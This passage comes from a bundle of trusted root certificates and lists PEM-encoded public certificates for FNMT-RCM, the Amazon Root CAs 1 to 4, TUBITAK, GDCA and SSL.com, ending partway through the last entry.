AC RAIZ FNMT-RCM
================
-----BEGIN CERTIFICATE-----
MIIFgzCCA2ugAwIBAgIPXZONMGc2yAYdGsdUhGkHMA0GCSqGSIb3DQEBCwUAMDsxCzAJBgNVBAYT
AkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTAeFw0wODEw
MjkxNTU5NTZaFw0zMDAxMDEwMDAwMDBaMDsxCzAJBgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJD
TTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
ggIBALpxgHpMhm5/yBNtwMZ9HACXjywMI7sQmkCpGreHiPibVmr75nuOi5KOpyVdWRHbNi63URcf
qQgfBBckWKo3Shjf5TnUV/3XwSyRAZHiItQDwFj8d0fsjz50Q7qsNI1NOHZnjrDIbzAzWHFctPVr
btQBULgTfmxKo0nRIBnuvMApGGWn3v7v3QqQIecaZ5JCEJhfTzC8PhxFtBDXaEAUwED653cXeuYL
j2VbPNmaUtu1vZ5Gzz3rkQUCwJaydkxNEJY7kvqcfw+Z374jNUUeAlz+taibmSXaXvMiwzn15Cou
08YfxGyqxRxqAQVKL9LFwag0Jl1mpdICIfkYtwb1TplvqKtMUejPUBjFd8g5CSxJkjKZqLsXF3mw
WsXmo8RZZUc1g16p6DULmbvkzSDGm0oGObVo/CK67lWMK07q87Hj/LaZmtVC+nFNCM+HHmpxffnT
tOmlcYF7wk5HlqX2doWjKI/pgG6BU6VtX7hI+cL5NqYuSf+4lsKMB7ObiFj86xsc3i1w4peSMKGJ
47xVqCfWS+2QrYv6YyVZLag13cqXM7zlzced0ezvXg5KkAYmY6252TUtB7p2ZSysV4999AeU14EC
ll2jB0nVetBX+RvnU0Z1qrB5QstocQjpYL05ac70r8NWQMetUqIJ5G+GR4of6ygnXYMgrwTJbFaa
i0b1AgMBAAGjgYMwgYAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE
FPd9xf3E6Jobd2Sn9R2gzL+HYJptMD4GA1UdIAQ3MDUwMwYEVR0gADArMCkGCCsGAQUFBwIBFh1o
dHRwOi8vd3d3LmNlcnQuZm5tdC5lcy9kcGNzLzANBgkqhkiG9w0BAQsFAAOCAgEAB5BK3/MjTvDD
nFFlm5wioooMhfNzKWtN/gHiqQxjAb8EZ6WdmF/9ARP67Jpi6Yb+tmLSbkyU+8B1RXxlDPiyN8+s
D8+Nb/kZ94/sHvJwnvDKuO+3/3Y3dlv2bojzr2IyIpMNOmqOFGYMLVN0V2Ue1bLdI4E7pWYjJ2cJ
j+F3qkPNZVEI7VFY/uY5+ctHhKQV8Xa7pO6kO8Rf77IzlhEYt8llvhjho6Tc+hj507wTmzl6NLrT
Qfv6MooqtyuGC2mDOL7Nii4LcK2NJpLuHvUBKwrZ1pebbuCoGRw6IYsMHkCtA+fdZn71uSANA+iW
+YJF1DngoABd15jmfZ5nc8OaKveri6E6FO80vFIOiZiaBECEHX5FaZNXzuvO+FB8TxxuBEOb+dY7
Ixjp6o7RTUaN8Tvkasq6+yO3m/qZASlaWFot4/nUbQ4mrcFuNLwy+AwF+mWj2zs3gyLp1txyM/1d
8iC9djwj2ij3+RvrWWTV3F9yfiD8zYm1kGdNYno/Tq0dwzn+evQoFt9B9kiABdcPUXmsEKvU7ANm
5mqwujGSQkBqvjrTcuFqN1W8rB2Vt2lh8kORdOag0wokRqEIr9baRRmW1FMdW4R58MD3R++Lj8UG
rp1MYp3/RgT408m2ECVAdf4WqslKYIYvuu8wd+RU4riEmViAqhOLUTpPSPaLtrM=
-----END CERTIFICATE-----

Amazon Root CA 1
================
-----BEGIN CERTIFICATE-----
MIIDQTCCAimgAwIBAgITBmyfz5m/jAo54vB4ikPmljZbyjANBgkqhkiG9w0BAQsFADA5MQswCQYD
VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAxMB4XDTE1
MDUyNjAwMDAwMFoXDTM4MDExNzAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv
bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALJ4gHHKeNXjca9HgFB0fW7Y14h29Jlo91ghYPl0hAEvrAIthtOgQ3pOsqTQNroBvo3bSMgH
FzZM9O6II8c+6zf1tRn4SWiw3te5djgdYZ6k/oI2peVKVuRF4fn9tBb6dNqcmzU5L/qwIFAGbHrQ
gLKm+a/sRxmPUDgH3KKHOVj4utWp+UhnMJbulHheb4mjUcAwhmahRWa6VOujw5H5SNz/0egwLX0t
dHA114gk957EWW67c4cX8jJGKLhD+rcdqsq08p8kDi1L93FcXmn/6pUCyziKrlA4b9v7LWIbxcce
VOF34GfID5yHI9Y/QCB/IIDEgEw+OyQmjgSubJrIqg0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB
/zAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMA0GCSqGSIb3
DQEBCwUAA4IBAQCY8jdaQZChGsV2USggNiMOruYou6r4lK5IpDB/G/wkjUu0yKGX9rbxenDIU5PM
CCjjmCXPI6T53iHTfIUJrU6adTrCC2qJeHZERxhlbI1Bjjt/msv0tadQ1wUsN+gDS63pYaACbvXy
8MWy7Vu33PqUXHeeE6V/Uq2V8viTO96LXFvKWlJbYK8U90vvo/ufQJVtMVT8QtPHRh8jrdkPSHCa
2XV4cdFyQzR1bldZwgJcJmApzyMZFo6IQ6XU5MsI+yMRQ+hDKXJioaldXgjUkK642M4UwtBV8ob2
xJNDd2ZhwLnoQdeXeGADbkpyrqXRfboQnoZsG4q5WTP468SQvvG5
-----END CERTIFICATE-----

Amazon Root CA 2
================
-----BEGIN CERTIFICATE-----
MIIFQTCCAymgAwIBAgITBmyf0pY1hp8KD+WGePhbJruKNzANBgkqhkiG9w0BAQwFADA5MQswCQYD
VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAyMB4XDTE1
MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv
bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
ggIBAK2Wny2cSkxKgXlRmeyKy2tgURO8TW0G/LAIjd0ZEGrHJgw12MBvIITplLGbhQPDW9tK6Mj4
kHbZW0/jTOgGNk3Mmqw9DJArktQGGWCsN0R5hYGCrVo34A3MnaZMUnbqQ523BNFQ9lXg1dKmSYXp
N+nKfq5clU1Imj+uIFptiJXZNLhSGkOQsL9sBbm2eLfq0OQ6PBJTYv9K8nu+NQWpEjTj82R0Yiw9
AElaKP4yRLuH3WUnAnE72kr3H9rN9yFVkE8P7K6C4Z9r2UXTu/Bfh+08LDmG2j/e7HJV63mjrdvd
fLC6HM783k81ds8P+HgfajZRRidhW+mez/CiVX18JYpvL7TFz4QuK/0NURBs+18bvBt+xa47mAEx
kv8LV/SasrlX6avvDXbR8O70zoan4G7ptGmh32n2M8ZpLpcTnqWHsFcQgTfJU7O7f/aS0ZzQGPSS
btqDT6ZjmUyl+17vIWR6IF9sZIUVyzfpYgwLKhbcAS4y2j5L9Z469hdAlO+ekQiG+r5jqFoz7Mt0
Q5X5bGlSNscpb/xVA1wf+5+9R+vnSUeVC06JIglJ4PVhHvG/LopyboBZ/1c6+XUyo05f7O0oYtlN
c/LMgRdg7c3r3NunysV+Ar3yVAhU/bQtCSwXVEqY0VThUWcI0u1ufm8/0i2BWSlmy5A5lREedCf+
3euvAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSw
DPBMMPQFWAJI/TPlUq9LhONmUjANBgkqhkiG9w0BAQwFAAOCAgEAqqiAjw54o+Ci1M3m9Zh6O+oA
A7CXDpO8Wqj2LIxyh6mx/H9z/WNxeKWHWc8w4Q0QshNabYL1auaAn6AFC2jkR2vHat+2/XcycuUY
+gn0oJMsXdKMdYV2ZZAMA3m3MSNjrXiDCYZohMr/+c8mmpJ5581LxedhpxfL86kSk5Nrp+gvU5LE
YFiwzAJRGFuFjWJZY7attN6a+yb3ACfAXVU3dJnJUH/jWS5E4ywl7uxMMne0nxrpS10gxdr9HIcW
xkPo1LsmmkVwXqkLN1PiRnsn/eBG8om3zEK2yygmbtmlyTrIQRNg91CMFa6ybRoVGld45pIq2WWQ
gj9sAq+uEjonljYE1x2igGOpm/HlurR8FLBOybEfdF849lHqm/osohHUqS0nGkWxr7JOcQ3AWEbW
aQbLU8uz/mtBzUF+fUwPfHJ5elnNXkoOrJupmHN5fLT0zLm4BwyydFy4x2+IoZCn9Kr5v2c69BoV
Yh63n749sSmvZ6ES8lgQGVMDMBu4Gon2nL2XA46jCfMdiyHxtN/kHNGfZQIG6lzWE7OE76KlXIx3
KadowGuuQNKotOrN8I1LOJwZmhsoVLiJkO/KdYE+HvJkJMcYr07/R54H9jVlpNMKVv/1F2Rs76gi
JUmTtt8AF9pYfl3uxRuw0dFfIRDH+fO6AgonB8Xx1sfT4PsJYGw=
-----END CERTIFICATE-----

Amazon Root CA 3
================
-----BEGIN CERTIFICATE-----
MIIBtjCCAVugAwIBAgITBmyf1XSXNmY/Owua2eiedgPySjAKBggqhkjOPQQDAjA5MQswCQYDVQQG
EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAzMB4XDTE1MDUy
NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ
MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABCmXp8ZB
f8ANm+gBG1bG8lKlui2yEujSLtf6ycXYqm0fc4E7O5hrOXwzpcVOho6AF2hiRVd9RFgdszflZwjr
Zt6jQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSrttvXBp43
rDCGB5Fwx5zEGbF4wDAKBggqhkjOPQQDAgNJADBGAiEA4IWSoxe3jfkrBqWTrBqYaGFy+uGh0Psc
eGCmQ5nFuMQCIQCcAu/xlJyzlvnrxir4tiz+OpAUFteMYyRIHN8wfdVoOw==
-----END CERTIFICATE-----

Amazon Root CA 4
================
-----BEGIN CERTIFICATE-----
MIIB8jCCAXigAwIBAgITBmyf18G7EEwpQ+Vxe3ssyBrBDjAKBggqhkjOPQQDAzA5MQswCQYDVQQG
EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSA0MB4XDTE1MDUy
NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ
MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgNDB2MBAGByqGSM49AgEGBSuBBAAiA2IABNKrijdPo1MN
/sGKe0uoe0ZLY7Bi9i0b2whxIdIA6GO9mif78DluXeo9pcmBqqNbIJhFXRbb/egQbeOc4OO9X4Ri
83BkM6DLJC9wuoihKqB1+IGuYgbEgds5bimwHvouXKNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV
HQ8BAf8EBAMCAYYwHQYDVR0OBBYEFNPsxzplbszh2naaVvuc84ZtV+WBMAoGCCqGSM49BAMDA2gA
MGUCMDqLIfG9fhGt0O9Yli/W651+kI0rz2ZVwyzjKKlwCkcO8DdZEv8tmZQoTipPNU0zWgIxAOp1
AE47xDqUEpHJWEadIRNyp4iciuRMStuW1KyLa2tJElMzrdfkviT8tQp21KW8EA==
-----END CERTIFICATE-----

TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1
=============================================
-----BEGIN CERTIFICATE-----
MIIEYzCCA0ugAwIBAgIBATANBgkqhkiG9w0BAQsFADCB0jELMAkGA1UEBhMCVFIxGDAWBgNVBAcT
D0dlYnplIC0gS29jYWVsaTFCMEAGA1UEChM5VHVya2l5ZSBCaWxpbXNlbCB2ZSBUZWtub2xvamlr
IEFyYXN0aXJtYSBLdXJ1bXUgLSBUVUJJVEFLMS0wKwYDVQQLEyRLYW11IFNlcnRpZmlrYXN5b24g
TWVya2V6aSAtIEthbXUgU00xNjA0BgNVBAMTLVRVQklUQUsgS2FtdSBTTSBTU0wgS29rIFNlcnRp
ZmlrYXNpIC0gU3VydW0gMTAeFw0xMzExMjUwODI1NTVaFw00MzEwMjUwODI1NTVaMIHSMQswCQYD
VQQGEwJUUjEYMBYGA1UEBxMPR2ViemUgLSBLb2NhZWxpMUIwQAYDVQQKEzlUdXJraXllIEJpbGlt
c2VsIHZlIFRla25vbG9qaWsgQXJhc3Rpcm1hIEt1cnVtdSAtIFRVQklUQUsxLTArBgNVBAsTJEth
bXUgU2VydGlmaWthc3lvbiBNZXJrZXppIC0gS2FtdSBTTTE2MDQGA1UEAxMtVFVCSVRBSyBLYW11
IFNNIFNTTCBLb2sgU2VydGlmaWthc2kgLSBTdXJ1bSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAr3UwM6q7a9OZLBI3hNmNe5eA027n/5tQlT6QlVZC1xl8JoSNkvoBHToP4mQ4t4y8
6Ij5iySrLqP1N+RAjhgleYN1Hzv/bKjFxlb4tO2KRKOrbEz8HdDc72i9z+SqzvBV96I01INrN3wc
wv61A+xXzry0tcXtAA9TNypN9E8Mg/uGz8v+jE69h/mniyFXnHrfA2eJLJ2XYacQuFWQfw4tJzh0
3+f92k4S400VIgLI4OD8D62K18lUUMw7D8oWgITQUVbDjlZ/iSIzL+aFCr2lqBs23tPcLG07xxO9
WSMs5uWk99gL7eqQQESolbuT1dCANLZGeA4fAJNG4e7p+exPFwIDAQABo0IwQDAdBgNVHQ4EFgQU
ZT/HiobGPN08VFw1+DrtUgxHV8gwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJ
KoZIhvcNAQELBQADggEBACo/4fEyjq7hmFxLXs9rHmoJ0iKpEsdeV31zVmSAhHqT5Am5EM2fKifh
AHe+SMg1qIGf5LgsyX8OsNJLN13qudULXjS99HMpw+0mFZx+CFOKWI3QSyjfwbPfIPP54+M638yc
lNhOT8NrF7f3cuitZjO1JVOr4PhMqZ398g26rrnZqsZr+ZO7rqu4lzwDGrpDxpa5RXI4s6ehlj2R
e37AIVNMh+3yC1SVUZPVIqUNivGTDj5UDrDYyU7c8jEyVupk+eq1nRZmQnLzf9OxMUP8pI4X8W0j
q5Rm+K37DwhuJi1/FwcJsoz7UMCflo3Ptv0AnVoUmr8CRPXBwp8iXqIPoeM=
-----END CERTIFICATE-----

GDCA TrustAUTH R5 ROOT
======================
-----BEGIN CERTIFICATE-----
MIIFiDCCA3CgAwIBAgIIfQmX/vBH6nowDQYJKoZIhvcNAQELBQAwYjELMAkGA1UEBhMCQ04xMjAw
BgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZIENPLixMVEQuMR8wHQYDVQQD
DBZHRENBIFRydXN0QVVUSCBSNSBST09UMB4XDTE0MTEyNjA1MTMxNVoXDTQwMTIzMTE1NTk1OVow
YjELMAkGA1UEBhMCQ04xMjAwBgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZ
IENPLixMVEQuMR8wHQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMIICIjANBgkqhkiG9w0B
AQEFAAOCAg8AMIICCgKCAgEA2aMW8Mh0dHeb7zMNOwZ+Vfy1YI92hhJCfVZmPoiC7XJjDp6L3TQs
AlFRwxn9WVSEyfFrs0yw6ehGXTjGoqcuEVe6ghWinI9tsJlKCvLriXBjTnnEt1u9ol2x8kECK62p
OqPseQrsXzrj/e+APK00mxqriCZ7VqKChh/rNYmDf1+uKU49tm7srsHwJ5uu4/Ts765/94Y9cnrr
pftZTqfrlYwiOXnhLQiPzLyRuEH3FMEjqcOtmkVEs7LXLM3GKeJQEK5cy4KOFxg2fZfmiJqwTTQJ
9Cy5WmYqsBebnh52nUpmMUHfP/vFBu8btn4aRjb3ZGM74zkYI+dndRTVdVeSN72+ahsmUPI2JgaQ
xXABZG12ZuGR224HwGGALrIuL4xwp9E7PLOR5G62xDtw8mySlwnNR30YwPO7ng/Wi64HtloPzgsM
R6flPri9fcebNaBhlzpBdRfMK5Z3KpIhHtmVdiBnaM8Nvd/WHwlqmuLMc3GkL30SgLdTMEZeS1SZ
D2fJpcjyIMGC7J0R38IC+xo70e0gmu9lZJIQDSri3nDxGGeCjGHeuLzRL5z7D9Ar7Rt2ueQ5Vfj4
oR24qoAATILnsn8JuLwwoC8N9VKejveSswoAHQBUlwbgsQfZxw9cZX08bVlX5O2ljelAU58VS6Bx
9hoh49pwBiFYFIeFd3mqgnkCAwEAAaNCMEAwHQYDVR0OBBYEFOLJQJ9NzuiaoXzPDj9lxSmIahlR
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQDRSVfg
p8xoWLoBDysZzY2wYUWsEe1jUGn4H3++Fo/9nesLqjJHdtJnJO29fDMylyrHBYZmDRd9FBUb1Ov9
H5r2XpdptxolpAqzkT9fNqyL7FeoPueBihhXOYV0GkLH6VsTX4/5COmSdI31R9KrO9b7eGZONn35
6ZLpBN79SWP8bfsUcZNnL0dKt7n/HipzcEYwv1ryL3ml4Y0M2fmyYzeMN2WFcGpcWwlyua1jPLHd
+PwyvzeG5LuOmCd+uh8W4XAR8gPfJWIyJyYYMoSf/wA6E7qaTfRPuBRwIrHKK5DOKcFw9C+df/KQ
HtZa37dG/OaG+svgIHZ6uqbL9XzeYqWxi+7egmaKTjowHz+Ay60nugxe19CxVsp3cbK1daFQqUBD
F8Io2c9Si1vIY9RCPqAzekYu9wogRlR+ak8x8YF+QnQ4ZXMn7sZ8uI7XpTrXmKGcjBBV09tL7ECQ
8s1uV9JiDnxXk7Gnbc2dg7sq5+W2O3FYrf3RRbxake5TFW/TRQl1brqQXR4EzzffHqhmsYzmIGrv
/EhOdJhCrylvLmrH+33RZjEizIYAfmaDDEL0vTSSwxrqT8p+ck0LcIymSLumoRT2+1hEmRSuqguT
aaApJUqlyyvdimYHFngVV3Eb7PVHhPOeMTd61X8kreS8/f3MboPoDKi3QWwH3b08hpcv0g==
-----END CERTIFICATE-----

SSL.com Root Certification Authority RSA
========================================
-----BEGIN CERTIFICATE-----
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
WuuA8ShYIc2wBlX7Jz9TkHCpBB5XJ7k=
-----END CERTIFICATE-----

SSL.com Root Certification Authority ECC
========================================
-----BEGIN CERTIFICATE-----
MIICjTCCAhSgAwIBAgIIdebfy8FoW6gwCgYIKoZIzj0EAwIwfDELMAkGA1UEBhMCVVMxDjAMBgNV
BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xMTAv
BgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEy
MTgxNDAzWhcNNDEwMjEyMTgxNDAzWjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAO
BgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNv
bSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuBBAAiA2IA
BEVuqVDEpiM2nl8ojRfLliJkP9x6jh3MCLOicSS6jkm5BBtHllirLZXI7Z4INcgn64mMU1jrYor+
8FsPazFSY0E7ic3s7LaNGdM0B9y7xgZ/wkWV7Mt/qCPgCemB+vNH06NjMGEwHQYDVR0OBBYEFILR
hXMw5zUE044CkvvlpNHEIejNMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUgtGFczDnNQTT
jgKS++Wk0cQh6M0wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2cAMGQCMG/n61kRpGDPYbCW
e+0F+S8Tkdzt5fxQaxFGRrMcIQBiu77D5+jNB5n5DQtdcj7EqgIwH7y6C+IwJPt8bYBVCpk+gA0z
5Wajs6O7pdWLjwkspl1+4vAHCGht0nxpbl/f5Wpl
-----END CERTIFICATE-----

SSL.com EV Root Certification Authority RSA R2
==============================================
-----BEGIN CERTIFICATE-----
MIIF6zCCA9OgAwIBAgIIVrYpzTS8ePYwDQYJKoZIhvcNAQELBQAwgYIxCzAJBgNVBAYTAlVTMQ4w
DAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9u
MTcwNQYDVQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIy
MB4XDTE3MDUzMTE4MTQzN1oXDTQyMDUzMDE4MTQzN1owgYIxCzAJBgNVBAYTAlVTMQ4wDAYDVQQI
DAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMTcwNQYD
VQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIyMIICIjAN
BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAjzZlQOHWTcDXtOlG2mvqM0fNTPl9fb69LT3w23jh
hqXZuglXaO1XPqDQCEGD5yhBJB/jchXQARr7XnAjssufOePPxU7Gkm0mxnu7s9onnQqG6YE3Bf7w
cXHswxzpY6IXFJ3vG2fThVUCAtZJycxa4bH3bzKfydQ7iEGonL3Lq9ttewkfokxykNorCPzPPFTO
Zw+oz12WGQvE43LrrdF9HSfvkusQv1vrO6/PgN3B0pYEW3p+pKk8OHakYo6gOV7qd89dAFmPZiw+
B6KjBSYRaZfqhbcPlgtLyEDhULouisv3D5oi53+aNxPN8k0TayHRwMwi8qFG9kRpnMphNQcAb9Zh
CBHqurj26bNg5U257J8UZslXWNvNh2n4ioYSA0e/ZhN2rHd9NCSFg83XqpyQGp8hLH94t2S42Oim
9HizVcuE0jLEeK6jj2HdzghTreyI/BXkmg3mnxp3zkyPuBQVPWKchjgGAGYS5Fl2WlPAApiiECto
RHuOec4zSnaqW4EWG7WK2NAAe15itAnWhmMOpgWVSbooi4iTsjQc2KRVbrcc0N6ZVTsj9CLg+Slm
JuwgUHfbSguPvuUCYHBBXtSuUDkiFCbLsjtzdFVHB3mBOagwE0TlBIqulhMlQg+5U8Sb/M3kHN48
+qvWBkofZ6aYMBzdLNvcGJVXZsb/XItW9XcCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNV
HSMEGDAWgBT5YLvU49U09rj1BoAlp3PbRmmonjAdBgNVHQ4EFgQU+WC71OPVNPa49QaAJadz20Zp
qJ4wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBWs47LCp1Jjr+kxJG7ZhcFUZh1
++VQLHqe8RT6q9OKPv+RKY9ji9i0qVQBDb6Thi/5Sm3HXvVX+cpVHBK+Rw82xd9qt9t1wkclf7nx
Y/hoLVUE0fKNsKTPvDxeH3jnpaAgcLAExbf3cqfeIg29MyVGjGSSJuM+LmOW2puMPfgYCdcDzH2G
guDKBAdRUNf/ktUM79qGn5nX67evaOI5JpS6aLe/g9Pqemc9YmeuJeVy6OLk7K4S9ksrPJ/psEDz
OFSz/bdoyNrGj1E8svuR3Bznm53htw1yj+KkxKl4+esUrMZDBcJlOSgYAsOCsp0FvmXtll9ldDz7
CTUue5wT/RsPXcdtgTpWD8w74a8CLyKsRspGPKAcTNZEtF4uXBVmCeEmKf7GUmG6sXP/wwyc5Wxq
lD8UykAWlYTzWamsX0xhk23RO8yilQwipmdnRC652dKKQbNmC1r7fSOl8hqw/96bg5Qu0T/fkreR
rwU7ZcegbLHNYhLDkBvjJc40vG93drEQw/cFGsDWr3RiSBd3kmmQYRzelYB0VI8YHMPzA9C/pEN1
hlMYegouCRw2n5H9gooiS9EOUCXdywMMF8mDAAhONU2Ki+3wApRmLER/y5UnlhetCTCstnEXbosX
9hwJ1C07mKVx01QT2WDz9UtmT/rx7iASjbSsV7FFY6GsdqnC+w==
-----END CERTIFICATE-----

SSL.com EV Root Certification Authority ECC
===========================================
-----BEGIN CERTIFICATE-----
MIIClDCCAhqgAwIBAgIILCmcWxbtBZUwCgYIKoZIzj0EAwIwfzELMAkGA1UEBhMCVVMxDjAMBgNV
BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xNDAy
BgNVBAMMK1NTTC5jb20gRVYgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYw
MjEyMTgxNTIzWhcNNDEwMjEyMTgxNTIzWjB/MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMx
EDAOBgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjE0MDIGA1UEAwwrU1NM
LmNvbSBFViBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuB
